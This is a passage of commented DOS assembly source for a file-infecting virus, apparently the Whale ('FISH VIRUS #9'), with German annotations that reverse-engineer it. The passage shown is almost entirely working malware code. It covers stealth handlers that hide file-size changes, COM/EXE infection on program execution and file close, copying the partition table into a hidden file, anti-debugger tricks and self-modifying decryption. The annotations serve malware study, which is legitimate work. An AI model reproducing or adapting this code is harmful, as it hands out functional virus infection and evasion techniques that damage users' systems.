DS:[BX+18h],80h; reserved..Shit MCODE 20 JNZ J02D46 JMP J02EA3 ; fertig J02D46: SUB BYTE Ptr DS:[BX+18h],80h CMP WORD Ptr DS:[BX+1Dh],Code_len JNB J02D54 JMP J02EA3 ; fertig J02D54: SUB WORD Ptr DS:[BX+1Dh],Code_len SBB WORD Ptr DS:[BX+1Fh],+00h JMP J02EA3 ; fertig ;===================================================================== J02D60: LOOP J02D66 ; wenn CX <> 0 dann J02D66 JMP J03251 ; sonst J03251 -> J034D4 ;--------------------------------------------------------------------- DB 0ebh ; TRASH ! ;--------------------------------------------------------------------- J02D66: INC BX JMP J02FA2 ;===================================================================== ;===============================================( Suche nach Fish )=== ;===================================================================== Suche_Fish: MDECODE 21 CALL PushALL IN AL,40h ; Hole Zufallszahl CMP AL,40h ; ist sie < 40h, dann Partitionstabelle MCODE 21 ; lesen und FISH.TBL erzeugen JB J02D7F JMP J02E9F ; sonst nicht. ;===================================================================== ;============( LESEN der Partitionstabelle bei jeder 4. Infektion )=== ;===================================================================== J02D7F: MDECODE 22 MOV AL,01h ; EINEN SEKTOR MOV AH,02h ; LESEN PUSH CS POP BX SUB BH,10h ; MOV ES,BX ; NACH ES:0000h MOV BX,0000h ; MOV CH,00h ; SPUR 0 MOV CL,01h ; SEKTOR 1 ( Partitionstabelle ) MOV DH,00h ; 1. HEAD MOV DL,80h ; 1. FESTPLATTE PUSHF CALL DWORD PTR CS:[Trace_Adres] ; INT 13h ! MCODE 22 JNB J02DA9 JMP J02E9F ;===================================================================== ;=========================( erzeugen der FISH.TBL als HIDDEN-File )=== ;===================================================================== J02DA9: MDECODE 23 PUSH CS POP DS MOV AH,5Bh ; CREATE NEW FILE MOV CX,0002h ; ATTRIBUT "SYSTEM" MOV DX,OFFSET D2DDB-Offset VirStart ; NAME IN DS:05CBH/CS:D2DDB CALL CS:[@INT21] JNB J02DC2 JMP J02E9B J02DC2: PUSH ES POP DS MOV BX,AX MOV AH,40h ; schreibe MOV CX,0200h ; 200h Byte MOV DX,0000h ; ab ES:0000 ; Partitionstabelle CALL CS:[@INT21] JB J02DD8 JMP J02E85 J02DD8: JMP J02E9B ;============================================================= D2DDB DB "C:\FISH-#9.TBL",0 D2DEA DB "FISH VIRUS #9 " DB "A Whale is no Fish! " DB "Mind her Mutant Fish and the hidden Fish Eggs for " DB "they are damaging. " DB "The sixth Fish mutates only if Whale is in her Cave" ;============================================================= J02E85: PUSH CS POP DS MOV AH,40h MOV CX,009Bh MOV DX,OFFSET D2DEA-Offset VirStart CALL DS:[@INT21] JB J02E9B MOV AH,3Eh CALL DS:[@INT21] J02E9B: MCODE 23 J02E9F: CALL PopALL RETN ;--------------------------------------------------------------------- J02EA3: CALL PopALL JMP IRET_Int21h ;===================================================================== ;================================( Handler fr OPEN FCB , AH = 0F )=== ;===================================================================== J02EA9: MDECODE 24 CALL PopALL CALL CS:[@INT21] CALL PushALL OR AL,AL MCODE 24 ;============================== JNZ J02EA3 ; fertig MOV BX,DX TEST BYTE Ptr DS:[BX+17h],80h JZ J02EA3 ; fertig SUB BYTE Ptr DS:[BX+17h],80h SUB WORD Ptr DS:[BX+10h],Code_len ; unerkannt ; bleiben SBB BYTE Ptr DS:[BX+12h],00h JMP J02EA3 ; fertig ;===================================================================== ;=============================( Handler fr Read Random Block FCB )=== ;===================================================================== J02ED8: JCXZ J02F08 ;===================================================================== ;===================================( Handler fr Read Random FCB )=== ;===================================================================== J02EDA: MDECODE 25 MOV BX,DX MOV SI,[BX+21h] OR SI,[BX+23h] MCODE 25 JNZ J02F08 JMP J02F03 DB 0e8h ;===================================================================== ;================================( Handler fr Read Seq. FCB.AH=14)=== ;===================================================================== J02EF0: MDECODE 26 MOV BX,DX ; DS:DX ist Adresse des ge”ffneten FCB MOV AX,[BX+0Ch] ; J02EFA: OR AL,[BX+20h] MCODE 26 JNZ J02F08 J02F03: CALL J0397A ; SAVEREGS,ES=DS, DI=DX+0Dh JNB J02F55 ; Datei ist ausfhrbar J02F08: JMP J02B8B ; sonst : CALL LOW-INT-21 ;===================================================================== J02F0B: JMP J03251 ; -> J034D4 ;-----------------------------------------------------------(trash)--- MOV [BP+02h],DX MOV [BP+04h],CX DB 0EBh ;--------------------------------------------------------------------- ;------------------------( erste Proc nach Initialisierung von SI )--- ;--------------------------------------------------------------------- J02F15: IN AL,21h ; SI = 2810h / VirStart OR AL,02h OUT 21h,AL XOR BX,BX PUSH BX ; PUSH 0 auf Stack MOV BP,0020h POP DS ; DS = 0000 MOV CX,BP ; CX = 0020 CALL $+3 ; GET IP POP BX ; BX = 2F27 PUSH BX POP DX ; DX = 2F27 PUSH CS POP AX ; AX = CS ADD AX,0010h ; AX = CS:0100 ADD BX,AX XOR DX,BX J02F33: SUB SI,@FB88 ; ADD SI,478h; SI = 2C88 ; AX = 5BC0 ; BX = 8AE7 ; CX = 0020 ; DX = A5C0 ; DS = 0000 CALL J02AD2 ; ; 2F3A auf Stack als ret-adr ;------>(J02EC8)----[keine Rckkehr vom CALL ! ]------ ;----------------------------------------------------- DB 0E9H ;===================================================================== ;====================================================( no entry...)=== ;===================================================================== MOV BYTE PTR [DI],0EBH JMP J035E3 ; Erzeugt eine 7 Byte-Tabelle und checkt ; Verfallsdatum ;===================================================================== ;====================================================( no entry...)=== ;===================================================================== J02F41: XCHG DX,BX J02F43: MOV WORD PTR DS:[0004h],BX OR CX,CX JZ J02F0B DEC CX JMP J02FA2 ;-------------------------------------------------------------------- DB 1Ch,00,53h,57h,0E8h ;===================================================================== ;============================( zum Handler fr Read Seq. FCB.AH=14)=== ;===================================================================== J02F55: MDECODE 27 CALL CS:[@INT21] ; CALL INT 21h MOV [BP-08],CX MOV [BP-04],AX PUSH DS PUSH DX CALL GetDTA CMP Word Ptr DS:[BX+14],1 MCODE 27 JZ J02FF6 ;==========================================( check auf infektion )=== J02F7A: MDECODE 28 MOV AX,[BX ] ADD AX,[BX+02h] PUSH BX MOV BX,[BX+04h] XOR BX,5348h ; 'SH' --> 'FISH' ! XOR BX,4649h ; 'FI' ADD AX,BX POP BX MCODE 28 JZ J02FF6 ADD SP,+04h JMP J02EA3 ; fertig ;================================================================= DB 12h ;================================================================= J02FA0: JMP J02F33 ;================================================================= J02FA2: MOV Word PTR DS:[0004h],DX MOV BX,Word Ptr DS:[000Ch] IN AL,01h ;?????!??????!???? OR CX,CX JZ J02FC0 CMP CL,BL JB J02FC0 XCHG BX,DX MOV Word PTR DS:[0004h],DX XOR DX,AX LOOP J02FA0 ; JMP J02F33, if CX <> 0 ; ist identisch mit ; "JMP J02FC0".... JZ J02FCB ; -> J03251 -> J034D4 J02FC0: ADD SI,@0478 CALL J02AD2 ; ->keine Rckkehr vom CALL !<- ;------------------------------------------------------------------- DB 0E9H,0A8h,09h,0EAh ;------------------------------------------------------------------- J02FCB: JMP J03251 ; -> 34d4 ;=====================( no entry )==( muss (!) ausgefhrt werden )=== J02FCE: MOV BYTE PTR CS:[SI+SwapCode_5],0E8h ; Adresse J03259 OR CX,CX ; Ist am anfang immer 20h ; also wird 32 Mal diese Schleife ; ausgefhrt und versucht, den ; INT 1 zu setzen..... JZ J02FCB ; Zur Arbeit ! ;--------------------------------------------------- ; INT 1 und INT 3 zerst”ren. ;--------------------------------------------------- MOV Word Ptr DS:[000Ch],BX XOR DX,BX MOV Word Ptr DS:[0004h],DX XOR AX,DX MOV Word Ptr DS:[000Ch],AX JMP J02D00 ; schlechter Pfad ! ;========================================================( trash )=== J02FEA: DB 081h,0c6h,090h,034h,0b9h,01ch DB 000h,0f4h,0a4h,033h,0c9h,0e8h ;===================================================================== ;============================( zum Handler fr Read Seq. FCB.AH=14)=== ;===================================================================== J02FF6: MDECODE 29 POP DX POP DS MOV SI,DX PUSH CS POP ES MOV CX,0025h MOV DI,Offset @FCB ; Kopiere FCB REPZ MOVSB MOV DI,Offset @FCB PUSH CS POP DS MOV DX,[DI+12h] ; HOLE FILESIZE nach DX:AX MOV AX,[DI+10h] ADD AX,Code_Len+0FH ; ADD filesize, 240fh ADC DX,+00h AND AX,0FFF0h ; Filesize auf (mod 16) normieren MOV [DI+12h],DX J03020: MOV [DI+10h],AX ; und zurueck SUB AX,Code_Len-4 ; 23fc abziehen SBB DX,+00h MOV [DI+23h],DX ; und nach RandomRec kopieren ?!? MOV [DI+21h],AX ; Dadurch wird das FILE in ; einem Record gelesen ( aber nur, ; wenn's kleiner als 1 Segment ist) MOV CX,001Ch ; Lese 1Ch byte (EXE-Header) MOV WORD Ptr DS:[DI+0Eh],0001h MOV AH,27h ; READ RANDOM BLOCK FCB MOV DX,DI CALL CS:[@INT21] MCODE 29 JMP J02EA3 ; fertig ;===================================================================== ;================================================( AUS DEM HIER : )=== ;===================================================================== J03047: DB 03BH,0DEH ; CMP BX,SI DB 074H,0D5H ; JZ J03020 RETN ;===================================================================== ;===============================================( Wird DAS HIER : )=== ;===================================================================== ;J03047:XOR WORD PTR CS:[SI],BX ; NOP ; RET ;===================================================================== ;============================================( DER CODE-PATCHER )=== ;============================================( SI kommt mit 210Ah )=== ;===================================================================== PATCH: PUSH BX ADD SI,OFFSET J0492F-OFFSET J0491A MOV BX,157Dh ; SI = 211F / 492F CALL J03047 ADD SI,+02h ; SI = 2121 / 4931 MOV BX,758Bh CALL J03047 ADD SI,+02h ; SI = 2123 / 4933 MOV BX,0081h CALL J03047 ADD SI,+08h ; SI = 212B / 493B MOV BX,0A08h CALL J03047 ADD SI,+02h ; SI = 212D / 493D MOV BX,302Fh CALL J03047 ADD SI,+02h ; SI = 212f / 493F MOV BX,02A5h CALL J03047 ;----------------------( DECODE ist jetzt 'anders')--- ADD SI,OFFSET J0499D-OFFSET J04941+2 MOV BX,157Dh ; SI = 218D / 499D CALL J03047 ADD SI,+05h ; SI = 2192 / 49A2 MOV BX,0A09Fh CALL J03047 ADD SI,+0Ah ; SI = 219C / 49AC MOV BX,00A7h CALL J03047 ADD SI,+0Ch ; SI = 21A8 / 49B8 MOV BX,872Dh CALL J03047 ADD SI,+02h ; SI = 21AA / 49BA MOV BX,7829h CALL J03047 ADD SI,+02h ; SI = 21AC / 49BC MOV BX,4229h CALL J03047 ADD SI,+02h ; SI = 21AE / 49BE MOV BX,1AC0h CALL J03047 ;---------------( CODEIT ist jetzt auch 'anders' )--- ADD SI,OFFSET J04A2A-OFFSET J049C0 + 2 ; SI = 221A / 4A2A MOV BX,1114h CALL J03047 ADD SI,OFFSET J04A39 - OFFSET J04A2A ; SI = 2229 / 4A39 MOV BX,0000h ; ? NOP ? CALL J03047 ADD SI,OFFSET J04A44 - OFFSET J04A39 ; SI = 2234 / 4A44 MOV BX,02E3h CALL J03047 POP BX RETN ;===================================================================== ;=================================( Handler fr GET FILESIZE /FCB )=== ;===================================================================== J030DF: MDECODE 30 PUSH CS POP ES MOV DI,Offset @FCB MOV CX,0025h ; Kopiere FCB MOV SI,DX REPZ MOVSB PUSH DS PUSH DX PUSH CS POP DS MOV AH,0Fh ; OPEN FCB MOV DX,Offset @FCB ; FCB steht an DS:DX CALL CS:[@INT21] MOV AH,10h ; CLOSE FCB ! CALL CS:[@INT21] TEST BYTE Ptr DS:[@FCB+17H],80h POP SI POP DS MCODE 30 JZ J03182 LES BX,DWord ptr CS:[@FCB+010h] ; File-Size J03117: MDECODE 31 MOV AX,ES SUB BX,Code_len SBB AX,0000h XOR DX,DX MOV CX,WORD PTR CS:[@FCB+0eh] ; Rec-Size DEC CX ADD BX,CX ADC AX,0000h INC CX DIV CX MOV [SI+23h],AX XCHG AX,DX ; XCHG AX,BX DIV CX MOV [SI+21h],AX MCODE 31 JMP J02EA3 ; fertig ;===================================================================== ;=======================================( setzt INT 02 auf "IRET" )=== ;===================================================================== StopINT_02: MDECODE 32 CALL PushALL IN AL,21h OR AL,02h ; setze Bit 2 OUT 21h,AL MOV AL,02h CALL GetInt_AL ; GET INT 02 ; ergebnis in ES:BX MOV AX,CS ; AX = CS MOV CX,ES CMP AX,CX JZ J03179 MOV WORD PTR CS:[@INT02+2],ES MOV WORD PTR CS:[@INT02 ],BX PUSH CS POP DS CALL J03170 J03170: POP DX ; GET IP ADD DX,OFFSET INT_02-OFFSET J03170 MOV AL,02h CALL SetInt_AL ; SET INT 02 auf IRET J03179: CALL PopALL MCODE 32 RETN ;===================================================================== INT_02: IRET ; KOPROZESSORFEHLER + MEMORY PARITY-FEHLER ;===================================================================== J03182: JMP J02B8B ; CALL LOW_INT_21 DB 0E8h ;===================================================================== ;=======================================( SET INT 02 zum Original )=== ;===================================================================== Re_SET_Int_02: MDECODE 33 CALL PushALL IN AL,21h AND AL,0FDh ; l”sche Bit 2 OUT 21h,AL LDS DX,CS:[@INT02] ; OLD INT 02 MOV AL,02h CALL SetInt_AL ; SET INT 02 CALL PopALL MCODE 33 RETN ;===================================================================== ;================================( Handler fr Open File / Handle )=== ;===================================================================== J031A6: CALL GET_Current_PSP CALL J039C3 ; ist die Datei ausfhrbar ? JB J031F1 ; nein.... CMP BYTE PTR CS:[D24A2],00h ; hab ich schon infiziert JZ J031F1 CALL J043B1 ; Vorarbeiten CMP BX,0ffffh ; Fehler bei Vorarbeiten ?? JZ J031F1 ; oder garkeine DATEI ?? ;===========================================()========================== MDECODE 34 DEC BYTE PTR CS:[D24A2] PUSH CS POP ES MOV CX,0014h MOV DI,Offset D2452 ; ja ? wenn ich's wsst... XOR AX,AX REPNZ SCASW MOV AX,CS:[@PSP] MOV ES:[DI-02h],AX MOV ES:[DI+26h],BX MOV [BP-04h],BX MCODE 34 J031E7: AND BYTE PTR CS:[D24B3],0FEh ; CF l”schen JMP J02EA3 ; fertig DB 0E8h J031F1: JMP J02B8B ; CALL LOW_INT_21 ;===================================================================== ;===============================( Handler fr CLOSE FILE / Handle )=== ;===================================================================== J031F4: MDECODE 35 PUSH CS POP ES CALL GET_Current_PSP MOV CX,0014h MOV AX,CS:[@PSP] MOV DI,Offset D2452 MCODE 35 J0320C: REPNZ SCASW J0320E: JNZ J03227 CMP BX,ES:[DI+26h] JNZ J0320C MOV WORD PTR ES:[DI-02h],0000h CALL J03642 ; infizieren ! INC BYTE PTR CS:[D24A2] JMP J031E7 ;================================ DB 0BBh ;================================ J03227: JMP J02B8B ; Call LOW-INT-21 ;================================ DB 3DH ;================================ ;===================================================================== ;=============================================( Hole aktuelle DTA )=== ;===================================================================== GetDTA: MDECODE 36 MOV AH,2FH ; GET DTA PUSH ES CALL CS:[@INT21] PUSH ES POP DS POP ES MCODE 36 RETN ;--------------------------------------------------------------------- J03240: DB 0E9H,012H,003H ; JMP J03555 == NIRWANA ! ;===================================================================== ;=====================================( versteckter DECODE-Aufruf )=== ;===================================================================== Decode: JMP J0491B ; CMP AX,16D5H ;-----------------------------------------------------------(trash)--- JZ J03240 SUB AX,12EFh DEC SI INC BH JMP J02FEA ;===================================================================== ;=====(-----------------------------------------------------------)=== ;=====( Affengeiler Code )=== ;=====(-----------------------------------------------------------)=== ;=====( SP sichern in BP )=== ;=====( "C353" auf den Stack, wobei SS=CS & C353 = "PUSH BX, RET" )=== ;=====( Dann ein CALL dessen RET-Adresse vom Stack geholt wird. )=== ;=====( Dafr wird DX alias BP auf den Stack gelegt. Kuckuck ! )=== ;=====( Schliesslich wird nach SS:SP-2, also "PUSH BX, RET", )=== ;=====( gesprungen, also ein "RET" zur Adresse J034D4 ausgefhrt )=== ;=====(-----------------------------------------------------------)=== ;=====( Kein Wunder, daá der Wal nach Fischen sucht ;-))) )=== ;===================================================================== J03251: MOV DX,BP ; DX = BP MOV BP,SP MOV BX,0C353H PUSH BX J03259: CALL J0341A ; ursprnglich "INT 3" J0325C DB 0BBH ;----------------------------------------------------------( Info )--- ; J0341A: POP BX ; BX = 325C ; ADD BX,OFFSET J034D4-Offset J0325C ; PUSH DX ; ; SUB BP,+02h ; BP = SP-2 ; DB 36H ; hat noch gefehlt :-) ; JMP BP ; = JMP DX / JMP 34D4 ;--------------------------( => )------ ; SS:SP-2 PUSH BX ; = 53h ; SS:SP-1 RET ; = C3h ;===================================================================== ;==============================================( Handler fr EXEC )=== ;===================================================================== J0325D: OR AL,AL ; Ist AL = 0 ( = Load + execute ) ? JZ J03264 ; JA !! JMP J034FC ;===================================================================== ;================================================( EXEC AX = 4B00 )=== ;===================================================================== J03264: MDECODE 37 PUSH DS PUSH DX MOV Word ptr CS:[D2424+2],ES ; Adress of EPB MOV Word ptr CS:[D2424 ],BX LDS SI,DWord ptr CS:[D2424] MOV CX,000Eh ; kopiere epb in ds MOV DI,Offset EPB PUSH CS POP ES REPZ MOVSB POP SI POP DS MOV CX,0050h ; kopiere kommandozeile MOV DI,Offset Cmd_Line REPZ MOVSB MOV BX,0FFFFh ; wird wieder zerst”rt CALL PopALL POP BP ; Original-BP POP CS:[D24E6] ; CALLERs IP POP CS:[D24E8] ; CALLERS CS POP CS:[D24B3] ; CALLERS Flags PUSH CS MOV AX,4B01h ; Load, but do not execute POP ES ; Segment EPB PUSHF MOV BX,Offset EPB ; Offset EPB CALL CS:[Low_INT_21H] MCODE 37 JNB J032DA ; JMP if kein Fehler OR WORD PTR CS:[D24B3],+01h; sonst CF setzen PUSH CS:[D24B3] ; Flags PUSH CS:[D24E8] ; CS PUSH CS:[D24E6] ; IP PUSH BP LES BX,DWord ptr CS:[D2424] ; Alten EPB zurck MOV BP,SP ; Alten SP JMP IRET_Int21h ; und fertig ;====================================================== DB 89h,04h ;=======================================( kein Fehler aufgetreten )=== J032DA: MDECODE 38 CALL GET_Current_PSP PUSH CS POP ES MOV CX,0014h MOV DI,Offset D2452 J032EA: MOV AX,CS:[@PSP] REPNZ SCASW JNZ J032FF MOV WORD PTR ES:[DI-02h],0000h INC BYTE PTR CS:[D24A2] JMP J032EA ;==================================================================== J032FF: MCODE 38 LDS SI,DWORD PTR CS:[D2503] ; Ist IP-Init = 1 ( WAL ! ) CMP SI,+01h JNZ J0334D ; nein. Dann infizieren ; sonst wal ausblenden MDECODE 39 MOV DX,Word Ptr DS:[001Ah] ADD DX,+10h MOV AH,51h CALL CS:[@INT21] ADD DX,BX MOV Word Ptr CS:[D2505],DX PUSH Word Ptr DS:[0018h] POP Word Ptr CS:[D2503] ADD BX,Word Ptr DS:[0012h] ADD BX,+10h MOV Word Ptr CS:[D2501],BX PUSH Word Ptr DS:[0014h] POP Word Ptr CS:[D24FF] MCODE 39 JMP J0345F ;--------------------------------------------------------------------- DB 09h ;--------------------------------------------------------------------- J0334D: JMP J03428 ; jmp zut Infect-routine ;===================================================================== ;===================================================( Selbst-Test )=== ;===================================================================== J03350: MDECODE 40 CALL PushALL JMP J03362 J0335B: XOR AL,CS:[BX] INC BX LOOP J0335B RETN ;-----------------------------------( netterweise werden hier die )--- ;-----------------------------------( 'echten' Labels publik ! )--- J03362: XOR AL,AL MOV BX,0021h ; 2831..2852 ; ENTRY...2852 MOV CX,007Ah CALL J0335B MOV BX,0173h ; 2983..298d ; init SI MOV CX,000Ah CALL J0335B MOV BX,0253h ; 2a63..2a7f ; trace... MOV CX,001Ch CALL J0335B MOV BX,0550h ; 2d60..2d6a ; ????????????? MOV CX,000Ah CALL J0335B MOV BX,0705h ; 2f15..2f55 MOV CX,0040h CALL J0335B MOV BX,0790h ; 2fa0..2ff6 MOV CX,0056h CALL J0335B MOV BX,0A30h ; 3240..3264 MOV CX,0024h CALL J0335B MOV BX,0C0Ah ; 341a..3428 MOV CX,000Eh CALL J0335B MOV BX,0CC4h ; 34d4..3510 MOV CX,003Ch CALL J0335B MOV BX,105Ah ; 386a..3897 MOV CX,002Dh CALL J0335B MOV BX,1106h ; 3916..393f MOV CX,0029h CALL J0335B MOV BX,210Ah ; 491a..4981 MOV CX,0067h CALL J0335B MOV BX,2173h ; 4983..4a56 MOV CX,00D8h CALL J0335B MOV BX,236Ch ; 4b7c..4bb5 MOV CX,0039h CALL J0335B MOV BX,1D7Dh ; 458d..45b2 MOV CX,0025h CALL J0335B MOV BX,1C7Ch ; 448c..44ce MOV CX,0042h CALL J0335B CMP AL,0E0h ; sic !! JZ J03412 ;----------------------------------------------------- MOV WORD PTR CS:[D2598],0F4F4h ; = HLT MOV BX,OFFSET D2598 PUSHF PUSH CS PUSH BX XOR AX,AX MOV DS,AX MOV WORD PTR DS:[0006h],0FFFFh ; SEGMENT Int 01 CALL Debugger_Check ; STOP ;----------------------------------------------------- J03412: CALL PopALL MCODE 40 J03419: RETN ;====================================================( JMP J034D4 )=== J0341A: POP BX ; BX = 325C ADD BX,OFFSET J034D4-Offset J0325C ; BX = 34D4 PUSH DX ; SUB BP,+02h ; BP = SP ;**************************************************** DB 36H ; Seg-Prefix hat noch gefehlt ;**************************************************** JMP BP ; -> JMP DX -> JMP BX ;--------------------------------------------------------------------- DB 0E9h,0DBh,000 ;-------------------------------( Nochmal Kontrolle, ob infiziert )--- J03428: MDECODE 41 MOV AX,[SI] ADD AX,[SI+02h] PUSH BX MOV BX,[SI+04h] XOR BX,5348h ; 'SH' XOR BX,4649h ; 'FI' ADD AX,BX POP BX MCODE 41 JZ J034AF ; ist schon infiziert PUSH CS POP DS MOV DX,Offset Cmd_Line CALL J039C3 ; ist die Datei ausfhrbar ? CALL J043B1 ; Vorarbeiten INC BYTE PTR CS:[D24EF] CALL J03642 ; infizieren DEC BYTE PTR CS:[D24EF] ;===================================================================== ;===================================( Datei im RAM wird gestartet )=== ;===================================================================== J0345F: MDECODE 42 MOV AH,51h ; GET current PSP CALL CS:[@INT21] CALL SaveRegisters CALL Patch_IBMDOS CALL GetRegsFromVirstack MOV DS,BX MOV ES,BX PUSH WORD PTR CS:[D24B3] ; CALLERs FLAGS PUSH WORD PTR CS:[D24E8] ; Caller-CS PUSH WORD PTR CS:[D24E6] ; Caller-IP POP Word Ptr DS:[000Ah] POP Word Ptr DS:[000Ch] PUSH DS MOV AL,22h LDS DX,Dword Ptr DS:[000Ah] CALL SetInt_AL ; SET INT 22 TO CALLER POP DS POPF ; POP Original-Flags POP AX ; POP RET-Adresse MOV SP,CS:[D24FF] ; SP-INIT MOV SS,CS:[D2501] ; SS-INIT MCODE 42 JMP DWORD PTR CS:[D2503] ; EXEC Programm ;===================================================================== ;==============( Datei ist infiziert. Wal desinfiziert sie im RAM )=== ;===================================================================== ; Offset 100H JMP 4BCC = E9 C9 4A ; Offset 2814 EXE_ID E9 pq rs , Savebytes ; Offset 4BCC Vir-Entry ; 2814-4AC9-100h = DC4B usw. ;===================================================================== J034AF: MDECODE 43 ; SI zeigt auf COM-START MOV BX,[SI+01h] ; Sprungziel nach BX MOV AX,[BX+SI+0DC4Bh] ; -23B5, Diff -3 zw. MOV [SI],AX ; Savebytes und 4BCC MOV AX,[BX+SI+0DC4Dh] ; -23B3 MOV [SI+02h],AX MOV AX,[BX+SI+0DC4Fh] ; -2361 MOV [SI+04h],AX CALL J045D0 ; 'aktiv-msg' MCODE 43 JMP J0345F ; ;===================================================================== ;================================( EINTRITT IN "ARBEITSPHASE" )=== ;================================( Durch die erste Anweisung wird )=== ;================================( der JMP zum Relokator erzeugt )=== ;===================================================================== J034D4: MOV BYTE PTR CS:[SI+SwapCode_2],0E9h ; JMP bei 3A20 erzeugen !! POP BP ; BP = 20h MOV CX,0004h ; Das n„chste RET macht wieder ; "PUSH BX,RET" MOV BX,DS ; BX = DS OR BX,BP ; BX = DS or 20h MOV DS,BX ; DS = DS or 20H J034E4: SHL BX,1 ; BX = BX * 16 LOOP J034E4 MOV AX,CX ; AX = 0 MOV CX,001Ch ; CX = 1C J034ED: ADD AH,[BX] INC BX LOOP J034ED PUSH AX ; AX auf den Stack MOV CX,[BX] PUSH CS POP AX SHR BH,1 JMP J03919 ;===================================================================== ;================================================( Geh”rt zu EXEC )=== ;===================================================================== J034FC: CMP AL,01h ; AX = 4B01 ( durch Debugger und Wal ) JZ J03510 ; ja , durch Debugger und Wal. JMP J02B8B ; nein, AX=4B03. Low-int-21h rufen ;===================================================================== ;===========================================================(trash)=== ;===================================================================== J03503: DB 01,0cbh,81h,0fbh,34h,28h,72h,0f8h,81h,0f1h,21h,21h,0a1h ;--------------------------------------- ;J03503:ADD BX,CX ; CMP BX,2834h ; OFFSET VIR_NAME ; JB J03503 ; XOR CX,2121h ; "!!" ; MOV AX,WORD PTR DS:[30E8h] ; STD ; SUB [BX+SI],AL ;--------------------------------------- ;===================================================================== ;==============================================( EXEC mit 4B01h )=== ;==============================================( Aufruf durch WAL )=== ;==============================================( und Debugger )=== ;===================================================================== J03510: MDECODE 44 OR WORD PTR CS:[D24B3 ],+01h ; CALLERS Flags MOV Word ptr CS:[D2424+2],ES ; EPB sichern MOV Word ptr CS:[D2424 ],BX CALL PopALL CALL CS:[@INT21] ; int 21h rufen CALL PushALL LES BX,DWord ptr CS:[D2424] ; EPB zurck LDS SI,DWord ptr ES:[BX+12h] ; CS:IP holen MCODE 44 JNB J03542 ; ---> Infektion JMP J035E0 ; ---> fertig ;=========================================================()======== J03542: AND BYTE PTR CS:[D24B3],0FEh; CF l”schen CMP SI,+01h ; ist IP-INIT=1 (infiziert) JZ J0358E MDECODE 45 MOV AX,[SI] ADD AX,[SI+02h] PUSH BX MOV BX,[SI+04h] XOR BX,5348h ; "SH" XOR BX,4649h ; "FI" ADD AX,BX POP BX MCODE 45 JNZ J035C3 ; nicht markierbar, keine Infektion ;---------------------( Dateianfang manipulieren )--- MDECODE 46 MOV BX,[SI+01h] MOV AX,[BX+SI+0DC4Bh] ; SIEHE 34af! MOV [SI],AX MOV AX,[BX+SI+0DC4Dh] MOV [SI+02h],AX MOV AX,[BX+SI+0DC4Fh] MOV [SI+04h],AX MCODE 46 JMP SHORT J035C3 ; Terminate-Adresse festlegen ;===================================================================== ;=====================================( Datei ist schon infiziert )=== ;===================================================================== J0358E: MDECODE 47 ; ES:BX = EPB MOV DX,WORD PTR DS:[001Ah] ; DS:SI = CS:IP der Datei CALL GET_Current_PSP MOV CX,CS:[@PSP] ADD CX,+10h ADD DX,CX MOV ES:[BX+14h],DX MOV AX,Word Ptr DS:[0018h] MOV ES:[BX+12h],AX MOV AX,Word Ptr DS:[0012h] ADD AX,CX MOV ES:[BX+10h],AX MOV AX,Word Ptr DS:[0014h] MOV ES:[BX+0Eh],AX MCODE 47 ;===================================================================== ;==============================( Installation des INT 22-Handlers )=== ;===================================================================== J035C3: MDECODE 48 CALL GET_Current_PSP MOV DS,CS:[@PSP] MOV AX,[BP+02h] MOV Word Ptr DS:[000Ah],AX ; OFFSET int 22-Handler MOV AX,[BP+04h] MOV Word Ptr DS:[000Ch],AX ; Segment int 22-Handler MCODE 48 J035E0: JMP J02EA3 ; Fertig ;===================================================================== ;====================================( kann ja fast nicht sein ...)=== ;===================================================================== ; erzeugt wird : ; DB 01h ; DW CS ; DW SS ; DW SP ;-------------------------------------------------------------------- J035E3: MOV WORD PTR CS:[023Ah],CS ;2a4a MOV WORD PTR CS:[023Ch],SS ;2a4c MOV WORD PTR CS:[023Eh],SP ;2a4e MOV BYTE PTR CS:[0239h],01h ;2a49 PUSH DS POP AX ; ist auch bloss Mll ! ;===================================================================== ;=================================( Kontrolle des Verfalls-Datums )=== ;===================================================================== Check_Verfallsdatum: MDECODE 49 CALL PushALL MOV AH,2Ah ; GET System Time & Date CALL CS:[@INT21] ; CMP CX,07C8h ; 1992 JNB J0361A ; CX >= 1992 : Setze [Error],1 CMP CX,07C7h ; 1991 JNZ J03620 ; CX <> 1991 : Lasse [Error] CMP DH,04h ; April JB J03620 ; DH < APRIL : Lasse [Error] ;----------------------------------------------------- J0361A: MOV BYTE PTR CS:[Error],01h J03620: CMP BYTE PTR CS:[Error],00h JZ J0362F CALL PopALL POP AX JMP J03632 ;-------------- J0362F: CALL PopALL J03632: MCODE 49 CMP BYTE PTR CS:[Error],00h JZ J03641 JMP J03761 ; Returnadresse bleibt auf Stack... J03641: RETN ;===================================================================== ;==================================( "JMP Decode_Whale" schreiben )=== ;===================================================================== J03642: MDECODE 50 ;------------------------------------------------------- MOV BYTE PTR CS:[0001h],0E9h ; JMP 23BC /4BCC MOV BYTE PTR CS:[0002h],0B8h ; CS:0001=CS:2811 MOV BYTE PTR CS:[0003h],023h ;-------------------------------------------------- CALL Trace_int_13h CALL J0378C ; errechnet unter anderem Paras fr File ; SI = ben”tigte Paragrafen ; CX = 10h ; DX:AX = Filesize gerundet ; auf n„chsten Paragrafen MOV BYTE Ptr DS:[OFFSET EXE_FLAG-Offset VirStart],01h CMP WORD Ptr DS:[CodBuf],'MZ' MCODE 50 JZ J0367E DEC BYTE Ptr DS:[Offset Exe_Flag-Offset VirStart] JZ J036F9 ; Wenn EXE-FLAG "1" war, ; also immer (!) ;===================================================================== ;=========================================( EXE-Header auswerten )=== ;=========================================( Infektion vorbereiten )=== ;=====================( die Berechnung scheint fehlerhaft zu sein )=== ;===================================================================== J0367E: MDECODE 51 MOV AX,WORD PTR DS:[CodBuf+4] ; Pages SHL CX,1 ; CX = 20h MUL CX ; AX ist ((L„nge-1) div 200h)*20h ; Also jetzt : (L„nge-1) DIV 10H ; AX enth„lt die ben”tigte Anzahl ; Paragrafen, um EXE zu laden. ADD AX,0200h ; AX=AX+200h, gibt keinen Sinn CMP AX,SI ; Vergleiche AX mit Max-Paras MCODE 51 JB J036F6 ; jmp, wenn AX kleiner ist MOV AX,WORD PTR DS:[CodBuf+0Ah] ; MinFree OR AX,WORD PTR DS:[CodBuf+0Ch] ; MaxFree JZ J036F6 MDECODE 52 MOV DX,Word ptr DS:[FileSize+2] MOV CX,0200h MOV AX,Word ptr DS:[FileSize ] DIV CX ; AX = (DX:AX) / 512; -> Pages OR DX,DX ; Blieb ein Rest ??? MCODE 52 JZ J036B8 ; ja.. INC AX J036B8: MOV WORD PTR DS:[CodBuf+2 ],DX 